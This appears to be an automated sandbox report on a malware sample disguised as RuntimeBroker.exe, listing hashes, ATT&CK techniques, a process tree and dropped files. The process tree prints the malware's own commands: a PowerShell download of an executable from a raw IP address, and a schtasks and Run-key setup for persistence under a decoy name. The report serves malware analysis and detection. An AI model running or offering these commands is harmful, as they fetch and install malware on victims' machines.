2d957aea9940b5befacbaf5cfdc72a6d5b14df82691c648efadd7c30a56e905c

General

Target

RuntimeBroker.exe
Size

87KB
MD5

cec35f701961a25e22cdf993089736f6
SHA1

c626ccbd15ebeeb4024d1d33d4e1ca0816f4086b
SHA256

2d957aea9940b5befacbaf5cfdc72a6d5b14df82691c648efadd7c30a56e905c
SHA512

f4e9546fccf3b9e072012ea13c6437b749870e9492f92c4aa7d0a020019957ea85b33e99bbbe7bc4eaf334845bb6a2a83546c9e04242cf3fd884081adb53b042
SSDEEP

1536:g7f9h0UPJP/CpICdikMLMLv5PFNg1qrX+VIOlnToIfAgIxldcOQ:eliUPXC8k1nJrX+fNTBf0VQ

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	4568	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	RuntimeBroker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	SearchIndex.exe

Executes dropped EXE 2 IoCs

pid	Process
348	SearchIndex.exe
2832	RuntimeBroker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ACCC Tools = "C:\\ProgramData\\Runtime\\RuntimeBroker.exe"	SearchIndex.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
880	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2588	timeout.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2832	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4568	powershell.exe
4568	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	348	SearchIndex.exe
Token: SeDebugPrivilege	2832	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 3784	4084	RuntimeBroker.exe	84
PID 4084 wrote to memory of 3784	4084	RuntimeBroker.exe	84
PID 3784 wrote to memory of 4568	3784	cmd.exe	87
PID 3784 wrote to memory of 4568	3784	cmd.exe	87
PID 3784 wrote to memory of 348	3784	cmd.exe	88
PID 3784 wrote to memory of 348	3784	cmd.exe	88
PID 348 wrote to memory of 880	348	SearchIndex.exe	92
PID 348 wrote to memory of 880	348	SearchIndex.exe	92
PID 348 wrote to memory of 2832	348	SearchIndex.exe	97
PID 348 wrote to memory of 2832	348	SearchIndex.exe	97
PID 348 wrote to memory of 1392	348	SearchIndex.exe	98
PID 348 wrote to memory of 1392	348	SearchIndex.exe	98
PID 1392 wrote to memory of 2588	1392	cmd.exe	100
PID 1392 wrote to memory of 2588	1392	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\89C6.tmp\89D7.tmp\89D8.bat C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command "Invoke-Webrequest 'http://85.239.33.24/webserver/Clip/svgchost.exe' -OutFile SearchIndex.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4568
- - C:\Users\Admin\AppData\Local\Temp\SearchIndex.exe
    SearchIndex.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:348
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /create /tn ACCC Tools /tr "C:\ProgramData\Runtime\RuntimeBroker.exe" /st 19:27 /du 23:59 /sc daily /ri 1 /f
      4⤵
      Creates scheduled task(s)
      PID:880
  - - C:\ProgramData\Runtime\RuntimeBroker.exe
      "C:\ProgramData\Runtime\RuntimeBroker.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of AdjustPrivilegeToken
      PID:2832
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF206.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1392
    - - C:\Windows\system32\timeout.exe
        
        timeout 7
        5⤵
        Delays execution with timeout.exe
        
        PID:2588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Runtime\RuntimeBroker.exe

Filesize
635.0MB

MD5
cbb1669741d4b8fbc7621bb8f73f964f

SHA1
70b933a1ec78613ac632f5b06c0c1db63ac42d5c

SHA256
ec9f4c6a022bc2f4e216645bbf6fa208cf2babd74bbfcdda7bf48a87c4fcf68d

SHA512
93a1f1604c58489d7a853eec4f1d6bcb07bdcd243654552d5355f1bb42d123c0c55ce4a41f55fde8e679c88c2d7e48a7f9cefb8db6cec585d108758cdb59973e

Download Submit
C:\ProgramData\Runtime\RuntimeBroker.exe

Filesize
635.0MB

MD5
cbb1669741d4b8fbc7621bb8f73f964f

SHA1
70b933a1ec78613ac632f5b06c0c1db63ac42d5c

SHA256
ec9f4c6a022bc2f4e216645bbf6fa208cf2babd74bbfcdda7bf48a87c4fcf68d

SHA512
93a1f1604c58489d7a853eec4f1d6bcb07bdcd243654552d5355f1bb42d123c0c55ce4a41f55fde8e679c88c2d7e48a7f9cefb8db6cec585d108758cdb59973e

Download Submit
C:\ProgramData\Runtime\RuntimeBroker.exe

Filesize
635.0MB

MD5
cbb1669741d4b8fbc7621bb8f73f964f

SHA1
70b933a1ec78613ac632f5b06c0c1db63ac42d5c

SHA256
ec9f4c6a022bc2f4e216645bbf6fa208cf2babd74bbfcdda7bf48a87c4fcf68d

SHA512
93a1f1604c58489d7a853eec4f1d6bcb07bdcd243654552d5355f1bb42d123c0c55ce4a41f55fde8e679c88c2d7e48a7f9cefb8db6cec585d108758cdb59973e

Download Submit
C:\Users\Admin\AppData\Local\Temp\89C6.tmp\89D7.tmp\89D8.bat

Filesize
1KB

MD5
5d03f91d8cc4ccfd1f826ed0ddccd818

SHA1
af639cc54a2fa1432605cd2eba58050a029b7566

SHA256
38599293d61442287f94c4fe3470fe66d8ddaebd1107d033582d102757d8e620

SHA512
aebc2dc19dc90015a8763012162daef178e9e4fcbde0f9ab05b2fa82c52a34aa0a5ee826153cfd92622e46eb3a95e485598b6caacd2e4cabf886aa97ead5b34c

Download Submit
C:\Users\Admin\AppData\Local\Temp\SearchIndex.exe

Filesize
254KB

MD5
f2b88c2d583601faecf7dcaea68e273e

SHA1
146131ba9e6e379c9d81d477ca121d138f918e0f

SHA256
66dd0c455b889256422371ec73eee3b3bd510109ffc58f5c3ee467ab5984db03

SHA512
90efa4835bcca0680ef0d7584485f4a96cfd0a5c119990b4a34f59032b8d9076757329c9b0e626b58aa8e1cb508f48186013ef61774151aee2498d0233033a43

Download Submit
C:\Users\Admin\AppData\Local\Temp\SearchIndex.exe

Filesize
254KB

MD5
f2b88c2d583601faecf7dcaea68e273e

SHA1
146131ba9e6e379c9d81d477ca121d138f918e0f

SHA256
66dd0c455b889256422371ec73eee3b3bd510109ffc58f5c3ee467ab5984db03

SHA512
90efa4835bcca0680ef0d7584485f4a96cfd0a5c119990b4a34f59032b8d9076757329c9b0e626b58aa8e1cb508f48186013ef61774151aee2498d0233033a43

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dkicscfa.0ry.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF206.tmp.bat

Filesize
163B

MD5
569b48867d78bec7170dd557cc768377

SHA1
c15b059588733aa73565c4b63f92a52839f406b1

SHA256
8f7252cc6adec243e685027b4b7cd3eb1eb970de413563e958b3d5a8e6fc228f

SHA512
54804189dd460478191955cc1a2facc3edcb31c6fcf2ed7eeacb087f026ef5b1796ba9fcc4d0780c212f577159aeaef4eda284844e76fd0537775aca153cc89d

Download Submit
memory/348-154-0x0000028055670000-0x00000280556B6000-memory.dmp

Filesize
280KB

Download
memory/348-155-0x00000280572F0000-0x0000028057300000-memory.dmp

Filesize
64KB

Download
memory/348-156-0x000002806FB30000-0x000002806FC7E000-memory.dmp

Filesize
1.3MB

Download
memory/348-172-0x000002806FB30000-0x000002806FC7E000-memory.dmp

Filesize
1.3MB

Download
memory/2832-174-0x000001B49B200000-0x000001B49B34E000-memory.dmp

Filesize
1.3MB

Download
memory/2832-175-0x000001B49B200000-0x000001B49B34E000-memory.dmp

Filesize
1.3MB

Download
memory/4568-147-0x000001E10C3F0000-0x000001E10C400000-memory.dmp

Filesize
64KB

Download
memory/4568-142-0x000001E10C390000-0x000001E10C3B2000-memory.dmp

Filesize
136KB

Download
memory/4568-136-0x000001E10C3F0000-0x000001E10C400000-memory.dmp

Filesize
64KB

Download
memory/4568-135-0x000001E10C3F0000-0x000001E10C400000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads